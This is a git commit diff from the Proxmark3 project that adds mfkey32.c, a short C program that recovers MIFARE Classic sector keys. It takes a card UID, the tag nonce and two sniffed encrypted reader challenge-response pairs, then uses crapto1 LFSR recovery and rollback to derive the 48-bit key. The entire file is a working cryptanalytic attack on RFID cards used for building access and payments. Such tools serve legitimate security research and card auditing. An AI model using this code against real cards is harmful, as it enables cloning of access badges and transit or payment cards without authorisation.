added all files for mfkeys

[proxmark3-svn] / tools / mfkey / mfkey32.c

diff --git a/tools/mfkey/mfkey32.c b/tools/mfkey/mfkey32.c
new file mode 100755 (executable)
index 0000000..0e64a3e
--- /dev/null
+++ b/tools/mfkey/mfkey32.c
@@ -0,0 +1,72 @@
+#define __STDC_FORMAT_MACROS
+#include <inttypes.h>
+#define llx PRIx64
+#define lli PRIi64
+
+// Test-file: test2.c
+#include "crapto1.h"
+#include <stdio.h>
+#include <stdlib.h>
+
+int main (int argc, char *argv[]) {
+  struct Crypto1State *s,*t;
+  uint64_t key;     // recovered key
+  uint32_t uid;     // serial number
+  uint32_t nt;      // tag challenge
+  uint32_t nr0_enc; // first encrypted reader challenge
+  uint32_t ar0_enc; // first encrypted reader response
+  uint32_t nr1_enc; // second encrypted reader challenge
+  uint32_t ar1_enc; // second encrypted reader response
+  uint32_t ks2;     // keystream used to encrypt reader response
+
+  printf("MIFARE Classic key recovery - based 32 bits of keystream\n");
+  printf("Recover key from two 32-bit reader authentication answers only!\n\n");
+
+  if (argc < 7) {
+    printf(" syntax: %s <uid> <nt> <{nr_0}> <{ar_0}> <{nr_1}> <{ar_1}>\n\n",argv[0]);
+    return 1;
+  }
+
+  sscanf(argv[1],"%x",&uid);
+  sscanf(argv[2],"%x",&nt);
+  sscanf(argv[3],"%x",&nr0_enc);
+  sscanf(argv[4],"%x",&ar0_enc);
+  sscanf(argv[5],"%x",&nr1_enc);
+  sscanf(argv[6],"%x",&ar1_enc);
+
+  printf("Recovering key for:\n");
+  printf("    uid: %08x\n",uid);
+  printf("     nt: %08x\n",nt);
+  printf(" {nr_0}: %08x\n",nr0_enc);
+  printf(" {ar_0}: %08x\n",ar0_enc);
+  printf(" {nr_1}: %08x\n",nr1_enc);
+  printf(" {ar_1}: %08x\n",ar1_enc);
+
+       // Generate lfsr succesors of the tag challenge
+  printf("\nLFSR succesors of the tag challenge:\n");
+  printf("  nt': %08x\n",prng_successor(nt, 64));
+  printf(" nt'': %08x\n",prng_successor(nt, 96));
+
+  // Extract the keystream from the messages
+  printf("\nKeystream used to generate {ar} and {at}:\n");
+  ks2 = ar0_enc ^ prng_successor(nt, 64);
+  printf("  ks2: %08x\n",ks2);
+
+       s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0);
+  
+       for(t = s; t->odd | t->even; ++t) {
+               lfsr_rollback_word(t, 0, 0);
+               lfsr_rollback_word(t, nr0_enc, 1);
+               lfsr_rollback_word(t, uid ^ nt, 0);
+               crypto1_get_lfsr(t, &key);
+               crypto1_word(t, uid ^ nt, 0);
+               crypto1_word(t, nr1_enc, 1);
+               if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt, 64))) {
+      printf("\nFound Key: [%012"llx"]\n\n",key);
+                       break;
+               }
+       }
+  free(s);
+
+  return 0;
+}